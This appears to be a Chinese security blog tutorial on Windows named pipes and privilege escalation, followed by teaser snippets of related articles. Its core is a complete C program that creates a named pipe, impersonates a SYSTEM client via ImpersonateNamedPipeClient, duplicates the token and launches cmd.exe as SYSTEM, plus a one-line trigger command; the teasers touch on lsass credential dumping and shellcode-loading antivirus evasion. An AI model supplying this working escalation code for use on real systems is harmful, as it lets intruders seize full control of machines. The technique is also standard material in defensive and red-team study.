<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    利用命名管道進行權限提升

    Andrew2020-12-01 13:57:03

    聲明

    由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。

    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。

    No.1 前言

    命名管道是Windows 比較經典的一個概念并且Linux也有,但是兩者用途并非相同。那么什么是命名管道呢?

    Win32 SDK定義管道為兩種:

    匿名管道(Anonymous pipes ):匿名管道通常在父進程和子進程之間傳輸數據。它們通常用于重定向子進程與其父進程之間的標準輸入和輸出,且不支持通過網絡進行通信。

    命名管道(Named pipes):命名管道可以在不相關的進程之間傳輸數據,前提是管道的權限授予對客戶端進程的適當訪問權限。

    著重講命名管道:它可以在同一臺機器或不同機器間的不同進程間提供通信,擁有一個Pipe Server和一個或者多個Pipe Client,在它們之間進行單向或者雙向通信的管道。

    我們的目的是為了通過命名管道來進行權限的提升,這里還需要涉及到安全描述符(Security Descriptor)的概念。

    在Windows系統中,對某進程或者線程的權限信息是使用安全描述符來定義的。它是一個結構體,由 安全標識符(Security Identifies)、DACL、SACL以及其自身控制位組成,其中DACL和SACL組成訪問控制列表(ACL,Access Control List)。

    主要來看DACL,DACL是安全描述符中最重要的,它里面包含零個或多個訪問控制項(ACE,Access Control Entry),每個訪問控制項的內容描述了允許或拒絕特定賬戶對這個對象執行特定操作。在Win32實體程序中設置了一個NULL DACL,那么意味著任何人都有權限對其進行訪問控制。

    設置安全描述符的API函數為 SetSecurityDescriptorDacl

    關于更多訪問控制模型內容,請參考:Security Descriptors

    No.2 命名管道的利用

    利用命名管道提權的重要原因:命名管道允許服務端進程模擬已連接的客戶端進程,API名稱為*ImpersonateNamedPipeClient() *

    如果使用非管理員權限去啟動命名管道的服務端進程進行監聽,而以管理員的客戶端進行連接,不一定能夠成功,想要進行提權,啟動服務端的用戶還需要某些特權,如:SeImpersonatePrivilege、等等

    使用** whoami /priv **查看權限

    而該權限一般是系統使用在本地服務賬號或者網絡服務賬號的,所以當我們因為某服務賬號啟動服務的漏洞而獲得權限之后,就有了 Local Service或者Network Service權限,看似權限很低,但可以利用他進行權限提升至System權限

    從管理員提升至SYSTEM權限

    首先,先拋出代碼段

    #include "stdafx.h"
    
    #define SERVICE_NAME "Elevate"
    #define PIPE_PATH "\\\\.\\pipe\\elevate"
    
    int main()
    {
      char directory[_MAX_PATH];
      char servicePath[_MAX_PATH];
      char serviceName[128];
      char recv[1024];
      DWORD bytes;
      bool connected;
      HINSTANCE hinst;
      STARTUPINFOA si;
      PROCESS_INFORMATION pi;
      HANDLE token;
      HANDLE newtoken;
      HANDLE ptoken;
    
    
      HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH, 
        PIPE_ACCESS_DUPLEX, 
        PIPE_TYPE_MESSAGE | PIPE_WAIT, 
        PIPE_UNLIMITED_INSTANCES, 
        1024, 
        1024, 
        0, 
        NULL
        );
    
      if (namedPipe == INVALID_HANDLE_VALUE) {
        printf("[!] Could not create named pipe\n");
        return 0;
      }
      else {
        printf("[*] Named pipe created: %s\n", PIPE_PATH);
      }
    
      srand(GetTickCount());
        connected = ConnectNamedPipe(namedPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
    
      ZeroMemory(&si, sizeof(si));
      si.cb = sizeof(si);
      ZeroMemory(&pi, sizeof(pi));
    
      if (connected) {
        for (;;) {
          printf("[*] Waiting for pipe connection...\n");
    
          ZeroMemory(recv, sizeof(recv));
    
          // 讀取客戶端連接信息
          ReadFile(namedPipe, recv, sizeof(recv), &bytes, NULL);
    
          printf("[*] Read %d Bytes: %s\n", bytes, recv);
    
          printf("[*] Attempting to impersonate client\n");
          if (ImpersonateNamedPipeClient(namedPipe) == 0) {
            printf("[!] Error impersonating client\n");
            return 0;
          }
    
          if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
            printf("[!] Error opening thread token\n");
          } 
    
          if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &ptoken)) {
            printf("[!] Error opening process token\n");
          }
    
          if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtoken)) {
            printf("[!] Error duplicating thread token\n");
          }
    
          printf("[*] Impersonated SYSTEM user successfully\n");
          if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
            printf("[!] CreateProcessAsUser failed (%d), trying another method.\n", GetLastError());
    
            ZeroMemory(&si, sizeof(si));
            si.cb = sizeof(si);
            ZeroMemory(&pi, sizeof(pi));
    
                    // 使用CreateProcessAsUser API提權失敗的情況下,使用CreateProcessWithTokenW 函數
            if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
              printf("[!] CreateProcessWithToken failed (%d), trying another method.\n", GetLastError());
    
    
              ZeroMemory(&si, sizeof(si));
              si.cb = sizeof(si);
              ZeroMemory(&pi, sizeof(pi));
              if (!CreateProcessAsUserW(newtoken,NULL,L"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,(LPSTARTUPINFOW)&si,&pi)) {
                printf("[!] CreateProcessAsUserW failed (%d).\n", GetLastError());
    
                return 0;
              }
              return 0;
            }
          }
          printf("[*] All Done.. enjoy... press any key to finish\n");
          getchar();
          return 0;
        }
      }
        return 0;
    }

    編程方面主要步驟為

    初始化命名管道

    服務端啟動監聽

    客戶端傳遞信息

    服務端接受信息

    利用客戶端提供權限進行提權

    操作演示

    為了方便演示,此次使用psexec提前進行提權獲取system權限,以此作為傳遞信息的客戶端。

    從上面的演示中可以直觀的理解編程順序,需要system權限的客戶端與管道進行通信,之前說為了掩飾而提前進行的提權,實際上當我們是管理員權限時,有很多方式使Windows利用system權限對管道發起通信,例如:創建服務(PSEXEC的原理)、創建計劃任務等等

    echo hello >> \\.\pipe\elevate

    服務端模擬客戶端,使用特權為 SeImpersonatePrivilege (身份驗證后模擬客戶端)

    后續講解的管道土豆提權,從服務賬號到SYSTEM權限就是利用這一特性。

    注:仔細看到GIF中演示的一段:

    [!] CreateProcessAsUser failed (1314), trying another method.

    是因為在編程過程中使用了多種API創建進程,代碼中已給出注釋。

    No.3 總結

    命名管道是紅隊在橫向移動時非常重要的一種手段,可以作為信息傳遞的媒介,同時也可以利用權限的特性,進行提權。

    原創: 孤島 雷神眾測
    原文鏈接:https://mp.weixin.qq.com/s/604GdD9Z9y9Ms7e...

    sizeofprintf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    由于廠商對于app安全方面的認識不斷提升,當前iOS上的調試對抗愈演愈烈。有了思路,那接下來我們要如何找到kernproc的內核地址呢?根據上邊的線索,我們可以通過逆向kernelcache鏡像文件找到他的偏移。找到偏移后,下一個問題來了,由于ASLR的存在,我們必須要獲取到kernbase才能配合偏移量定位kernproc位置,進行進一步操作。
    C++ Socket詳解與研究
    2021-11-09 06:06:32
    數據傳輸是病毒木馬的必備技術之一,而數據回傳也成為了病毒木馬的一個重要特征,我們就嘗試自己寫一個程序來實現數據的傳輸,本文嘗試通過c++來進行套接字(socket)的實現
    lsass.exe(Local Security Authority Subsystem Service進程空間中,存有著機器的域、本地用戶名和密碼等重要信息。
    在二進制里面,每一位只要大于等于?則都要向高位進一。為了方便表示,還衍生出了二進制的子類,比如八進制,十六進制等,主要是二進制向這些進制轉換較為容易,而計算機平時又都處理二進制數據,因此就出現了這些常見的進制計數。信息存儲大多數計算機使用的都是8位的塊,或者叫字節,字節是作為計算機可尋址的最小單位。一般來說我們并不習慣于將一個字節寫成八位二進制的數,而是會寫成兩位十六進制的數。
    進而如何配合userfaultfd實現對于當前進程的task_struct,以及cred的進攻利用,實現權限提升> 的這樣一種技術。"鉤子",這些鉤子是數據包穿越該協議棧過程中的明確定義的hook point。
    相關例子如下,編譯的時候需要在Debug模式:#define _CRTDBG_MAP_ALLOC. main.cpp : {163} normal block at 0x000002882AE17740, 12 bytes long.Data: < M > 07 00 00 00 4D 00 00 00 09 03 00 00. main.cpp : {162} normal block at 0x000002882AE148C0, 4 bytes long.內存的申請在C++編程語言中,內存申請對應的關鍵字是new或malloc,其實new最后調用的也是malloc函數,對應源代碼文件是debug_heap.cpp。在包含相關頭文件之后,malloc函數的調用棧為:malloc -> _malloc_dbg -> heap_alloc_dbg -> heap_alloc_dbg_internal。_CrtMemBlockHeader* _block_header_prev; // 雙向鏈表,訪問該雙向鏈表的全局變量為__acrt_first_block. size_t _data_size; // malloc分配的大
    前言在PE文件中,存在iat導入表,記錄了PE文件使用的API以及相關的dll模塊。可以看到使用了MessageBox這個API殺軟會對導入表進行查殺,如果發現存在惡意的API,比如VirtualAlloc,CreateThread等,就會認為文件是一個惡意文件。自定義API函數FARPROC GetProcAddress;定義:typedef int ();HMODULE LoadLibraryA; // 成功返回句柄 失敗返回NULL. 這里GetModuleHandle和LoadLibrary作用是一樣的,獲取dll文件。HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );printf; pMessageBox MyMessageBox = GetProcAddress; MyMessageBox; return 0;}. 程序可以正常運行:查看其導入表:User32.dll和MessageBox都不存在。實戰測試用創建進程的方式加載shellcode。
    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
    一篇靜態免殺的文章
    Andrew
    暫無描述
      亚洲 欧美 自拍 唯美 另类